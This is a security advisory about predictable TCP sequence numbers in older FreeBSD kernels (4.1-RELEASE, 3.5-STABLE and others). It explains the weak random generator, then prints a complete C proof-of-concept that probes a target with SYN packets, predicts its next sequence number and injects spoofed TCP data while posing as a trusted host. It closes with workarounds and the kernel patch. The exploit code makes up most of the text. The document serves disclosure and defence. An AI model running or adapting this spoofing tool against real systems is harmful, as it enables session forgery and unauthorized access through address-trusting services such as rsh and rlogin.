COMMAND
kernel (IP spoofing)
SYSTEMS AFFECTED
At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE
PROBLEM
Following is based on a Hacker Emergency Response Team Advisory
#00003 by Pascal Bouchareine and Paul Spiby. There is a weak
random() in FreeBSD's TCP stack allows "spoof" attacks.
The way FreeBSD handles random sequence number incrementing is
weak. With 3 consecutive random increments captured from the
responses of 4 SYN packets sent to the target, an attacker can
rebuild the random state of the remote machine. This information
can then be used to predict the next random increments the remote
machine will make.
The pseudo-random function called is a linear congruent generator
where the (N+1)th value is calculated from the Nth by:
x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)
The random incrementation of the ISS is done by adding:
122 * 1024 + ((random() >> 14) & 0x3ffff)
This incrementation is done for each connection request and at
500ms intervals by the kernel. Unfortunately, it is likely to be
done consecutively if an attacker is fast enough. Then, guessing
the remote random() state just takes (65535 * 3) tests for the
attacker to synchronize. Once done, the attacker may generate
the same sequence numbers as the remote system does, and
successfully achieve a spoof attack (see example below).
Any program that blindly trusts a remote IP address and doesn't
provide strong (key/challenge) authentication may allow an
attacker to send arbitrary data to the machine (eg. rcmd family
[rlogind, rshd], some backup software, etc.) while masquerading as
a trusted host; therefore gaining access to the remote system.
/* Sample example of remote sequence number prediction.
**
** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }
**
** This exploit is part of the research and development effort conducted by
** HERT. It is not a production tool for either attack or defense
** within an information warfare setting. Rather, it is a small
** program demonstrating proof of concept.
**
** Concept:
**
** 1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed
** address.
**
** 2) Victim answers with 5 SYN/ACK, *very close in time*
**
** Attacker calculates the 3 random increments that were given.
** Since FreeBSD adds randomness to it's ISS two times a second,
** this is hopefully avoided during this process.
**
** 3) Attacker takes his pocket calculator, calculates a "replay" and
** guesses the 4th increment. She manually enters the 5th seq at her
** keyboard, drinks a coffee, and sends a forged ACK with the good
** seq/ack to victim.
** She's done.
**
** You still have to find something for the trusted host to shut up.
** This is clearly not the biggest problem.
**
** You may want to adjust precision from 4 SYNs to more or less, regarding
** your ping with target (150ms is good). More is useless until you have
** two possible matches. Less is usefull to have a 1/2 luck rate if you have
** a really bad connection. A 486 dx/33 was used to test this on a 56k modem
** with 4 syns and it was just fine.
**
** Pascal Bouchareine [ kalou <pb@hert.org> ]
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define ISS_INCR (122*1024)
#define TCP_RANDOM18(n, lr) (guess_next(n, lr) >> 14 & 0x3ffff)
#define INTOA(x) inet_ntoa( (struct in_addr) { x } )
#ifdef linux
#define ip_sum ip_csum
#endif
struct spoof {
unsigned int myaddr;
unsigned int src;
unsigned int dst;
unsigned short sport;
unsigned short dport;
};
/*
** This simulates freebsd's rand(), and gives the (time)th next random number,
** regarding the previous one (r).
*/
inline unsigned int guess_next(int times, unsigned int r)
{
register unsigned int myr;
register int t, hi, lo;
int i;
myr = r;
for (i = 0; i < times; i++) {
hi = myr / 127773;
lo = myr % 127773;
t = 16807 * lo - 2836 * hi;
if (t <= 0)
t += 0x7fffffff;
myr = t;
}
return myr;
}
/*
** Calculates the next sequence.
** With 4 seqs, you often have an unique solution. (always ?)
**
*/
inline unsigned int init_iss(unsigned int seq[], int nseq)
{
unsigned int tcp_iss;
register unsigned int try;
int i, res;
if (nseq < 2) {
return -1;
}
tcp_iss = seq[nseq - 1];
for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;
try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {
for (i = 1, res = 0; i < (nseq - 1); i++) {
if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==
(seq[i + 1] - seq[i]) ) {
res++;
} else {
if (res) res--;
break;
}
}
if (res)
{
/* There, each random increment matched. We assume
** the last rand is good to compute the next one.
*/
tcp_iss += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );
fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);
fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);
fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);
return tcp_iss;
}
}
fprintf(stderr, "[init_iss]\t failed to find iss.\n");
return 0;
}
int raw_sock(int proto)
{
int true = 1;
int s;
s = socket(AF_INET, SOCK_RAW, proto);
if (s > 0) {
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {
perror("setsockopt");
return -1;
}
} else {
perror("raw_sock");
return -1;
}
return s;
}
/*
** Well i guess this is ripped from somewhere..
*/
unsigned int host_lookup(char *h)
{
struct in_addr a;
struct hostent *he;
if ( (a.s_addr = inet_addr(h)) == -1 ) {
if ( (he = gethostbyname(h)) == NULL ) {
perror("lookup");
return -1; /* 255.255.255.255... */
}
bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);
}
return a.s_addr;
}
/* The copy'n pasted one works so well. */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_tcp(int s,
unsigned int src,
unsigned int dst,
unsigned char flg,
unsigned short sport,
unsigned short dport,
unsigned int seq,
unsigned int ack,
char *data,
int dlen)
{
unsigned char pkt[1024];
struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in sa;
static int ip_id = 0;
struct pseudo {
unsigned int s;
unsigned int d;
char n;
char p;
unsigned short l;
} pseudo;
if (!ip_id) {
ip_id = htons(rand() % getpid());
}
ip = (struct ip *) pkt;
tcp = (struct tcphdr *) (pkt + sizeof(struct ip));
pseudo.s = src;
pseudo.d = dst;
pseudo.n = 0;
pseudo.p = IPPROTO_TCP;
pseudo.l = htons(sizeof(struct tcphdr) + dlen);
tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_off = 5;
tcp->th_flags = flg;
tcp->th_win = htons(16384);
tcp->th_urp = 0;
tcp->th_sum = 0;
memmove(((char *) tcp) + sizeof(struct tcphdr),
data, dlen); /* baom. 1024 */
memmove(((char *) tcp) - sizeof(struct pseudo),
(char *) &pseudo, sizeof(struct pseudo));
tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),
sizeof(struct pseudo) +
sizeof(struct tcphdr) + dlen);
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);
ip->ip_id = ip_id++;
ip->ip_off = htons(0);
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_src.s_addr = src;
ip->ip_dst.s_addr = dst;
// ip->ip_sum = in_cksum(pkt, sizeof(struct ip)
// + sizeof(struct tcphdr) + dlen);
ip->ip_sum = 0;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = dst;
sa.sin_port = 0;
if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,
0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
perror("sendto");
return -1;
}
return 0;
}
int get_acks(int s, int n, unsigned int *seq,
unsigned int src_addr,
unsigned short src_port)
{
struct sockaddr_in from;
int fromlen;
char buf[512];
int nr = n;
int len;
struct tcphdr *tcp;
struct ip *ip;
while(nr) {
fromlen = sizeof(from);
if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {
ip = (struct ip *) buf;
if (ip->ip_src.s_addr == src_addr) {
len = ip->ip_hl << 2;
tcp = (struct tcphdr *) (buf + len);
if (tcp->th_sport == src_port) {
fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));
seq[n - nr--] = ntohl(tcp->th_seq);
}
}
} else {
perror("recvfrom");
return -1;
}
}
return nr;
}
unsigned int send_init_flow(int s,
unsigned int src,
unsigned int dst,
unsigned int spoofer,
unsigned short sport,
unsigned short dport,
int nseq)
{
unsigned int seq;
unsigned int ssport = sport;
int i, err;
seq = rand();
err = 0;
for (i = 0; i < nseq; i++) {
err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,
seq++, 0, "", 0);
}
err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,
seq, 0, "", 0);
if (err)
return -1;
return seq;
}
void spoof_loop(int s,
unsigned int src,
unsigned int dst,
unsigned short sport,
unsigned short dport,
unsigned int oseq,
unsigned int oack)
{
char buf[512];
char *p;
unsigned int seq = oseq + 1; /* since remote inc'ed us in syn/ack */
unsigned int ack = oack + 1; /* since we must inc remote in ack */
int i;
/* Our syn/ack is on its way.
Better wait a little. */
usleep(2800);
send_tcp(s, src, dst, TH_ACK, sport, dport,
seq, ack, "", 0);
while(read(0, buf, 512)) {
if ( (p = strchr(buf, '\r')) ||
(p = strchr(buf, '\n')) ) {
*p = '\0';
}
fprintf(stderr, "[send]\t %s\n", buf);
strcat(buf, "\r\n");
send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,
seq, ack, buf, strlen(buf));
seq += strlen(buf);
memset(buf, '\0', sizeof(buf));
}
send_tcp(s, src, dst, TH_RST, sport, dport,
seq, ack, buf, strlen(buf));
}
int spoof(struct spoof s, int p)
{
int ss, rs;
unsigned int seqs[4];
unsigned int seq, ack;
rs = raw_sock(IPPROTO_TCP);
ss = raw_sock(IPPROTO_RAW);
if ((ss < 0) || (rs < 0)) {
perror("raw socket");
return -1;
}
fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));
fprintf(stderr, "[main]\t\t source %s.\n", INTOA(s.myaddr));
seq = send_init_flow(ss, s.myaddr,
s.dst, s.src, s.sport, s.dport, p);
if (seq > 0) {
fprintf(stderr, "[main]\t\t our seq is %u\n", seq);
if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {
ack = init_iss(seqs, 4);
fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,
INTOA(s.src));
if (ack > 0) {
usleep(2000);
spoof_loop(ss, s.src,
s.dst, s.sport, s.dport, seq, ack);
} else {
return -3;
}
} else { /* get_acks */
return -2;
}
} /* seq < 0 */
return -1;
}
void usage(char *p)
{
fprintf(stderr, "Usage: %s..\n"
"\n\t<-m (my address)>\n"
"\t<-s (spoofed host)>\n"
"\t<-d (destination)>\n"
"\t<-p (dest port)>\n"
"\t[-S (source port):rand]\n"
"\t[-P precision:4]\n\n", p);
exit(1);
}
int main(int argc, char **argv)
{
int precision;
unsigned int hostaddr;
struct spoof s;
char c;
srand(getpid());
s.myaddr = 0;
s.src = 0;
s.dst = 0;
s.dport = 0;
s.sport = getpid();
precision = 4;
while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {
switch(c) {
case 'm':
case 's':
case 'd':
hostaddr = host_lookup(optarg);
if (hostaddr == -1) {
fprintf(stderr, "%s: unknown host.\n", optarg);
exit(1);
}
switch(c) {
case 'm':
s.myaddr = hostaddr;
break;
case 's':
s.src = hostaddr;
break;
case 'd':
s.dst = hostaddr;
break;
}
break;
case 'S':
s.sport = atoi(optarg);
break;
case 'p':
s.dport = atoi(optarg);
break;
case 'P':
precision = atoi(optarg);
break;
}
}
if ((!s.myaddr) ||
(!s.src) ||
(!s.dst) ||
(!s.dport)) {
usage(argv[0]);
}
return spoof(s, precision);
}
SOLUTION
Possible workarounds for the vulnerability include one or both of
the following:
1) Disable all insecure protocols and services including rlogin,
rsh and rexec (if configured to use address-based
authentication), or reconfigure them to not authenticate
connections based solely on originating address. In general,
the rlogin family should not be used anyway - the ssh family
of commands (ssh, scp, slogin) provide a secure alternative
which is included in FreeBSD 4.0 and above.
To disable the rlogin family of protocols, make sure the
/etc/inetd.conf file does not contain any of the following
entries uncommented (i.e. if present in the inetd.conf file
they should be commented out as shown below:)
#shell stream tcp nowait root /usr/libexec/rshd rshd
#login stream tcp nowait root /usr/libexec/rlogind rlogind
#exec stream tcp nowait root /usr/libexec/rexecd rexecd
Be sure to restart inetd by sending it a HUP signal after
making any changes:
# kill -HUP `cat /var/run/inetd.pid`
See workaround 3) below.
2) Impose IP-level packet filters on network perimeters or on
local affected machines to prevent access from any outside
party to a vulnerable internal service using a "privileged"
source address. For example, if machines on the internal
10.0.0.0/24 network are allowed to obtain passwordless rlogin
access to a server, then external users should be prevented
from sending packets with 10.0.0.0/24 source addresses from
the outside network into the internal network. This is
standard good security policy. Note however that if an
external address must be granted access to local resources then
this type of filtering cannot be applied. It also does not
defend against spoofing attacks from within the network
perimeter. Consider disabling this service until the affected
machines can be patched.
3) Enable the use of IPSEC to authenticate (and/or encrypt)
vulnerable TCP connections at the IP layer. A system which
requires authenticaion of all incoming connections to a port
using IPSEC cannot be spoofed using the attack described in
this advisory, nor can TCP sessions be hijacked by an attacker
with access to the packet stream. FreeBSD 4.0 and later
include IPSEC functionality in the kernel, and 4.1 and later
include an IKE daemon, racoon, in the ports collection.
Configuration of IPSEC is beyond the scope of this document,
however see the following web resources:
http://www.freebsd.org/handbook/ipsec.html
http://www.netbsd.org/Documentation/network/ipsec/
http://www.kame.net/
Note that address-based authentication is generally weak, and
should be avoided even in environments running with the sequence
numbering improvements. Instead, cryptographically-protected
protocols and services should be used wherever possible.
Solution is one of the following:
1) Upgrade your vulnerable FreeBSD system to 4.1.1-STABLE or
3.5.1-STABLE after the respective correction dates.
2a) FreeBSD 3.x systems
Download the patch and detached PGP signature from the
following locations, and verify the signature using your
PGP utility.
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc
2b) FreeBSD 4.x systems
Apply the patch below and recompile your kernel. Either
save this advisory to a file, or download the patch and
detached PGP signature from the following locations, and
verify the signature using your PGP utility.
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc
Index: tcp_seq.h
===================================================================
RCS file: /usr2/ncvs/src/sys/netinet/tcp_seq.h,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -r1.11 -r1.12
--- tcp_seq.h 1999/12/29 04:41:02 1.11
+++ tcp_seq.h 2000/09/29 01:37:19 1.12
@@ -91,7 +91,7 @@
* number in the range [0-0x3ffff] that is hard to predict.
*/
#ifndef tcp_random18
-#define tcp_random18() ((random() >> 14) & 0x3ffff)
+#define tcp_random18() (arc4random() & 0x3ffff)
#endif
#define TCP_ISSINCR (122*1024 + tcp_random18())
Index: tcp_subr.c
===================================================================
RCS file: /usr2/ncvs/src/sys/netinet/tcp_subr.c,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -r1.80 -r1.81
--- tcp_subr.c 2000/09/25 23:40:22 1.80
+++ tcp_subr.c 2000/09/29 01:37:19 1.81
@@ -178,7 +178,7 @@
{
int hashsize;
- tcp_iss = random(); /* wrong, but better than a constant */
+ tcp_iss = arc4random(); /* wrong, but better than a constant */
tcp_ccgen = 1;
tcp_cleartaocache();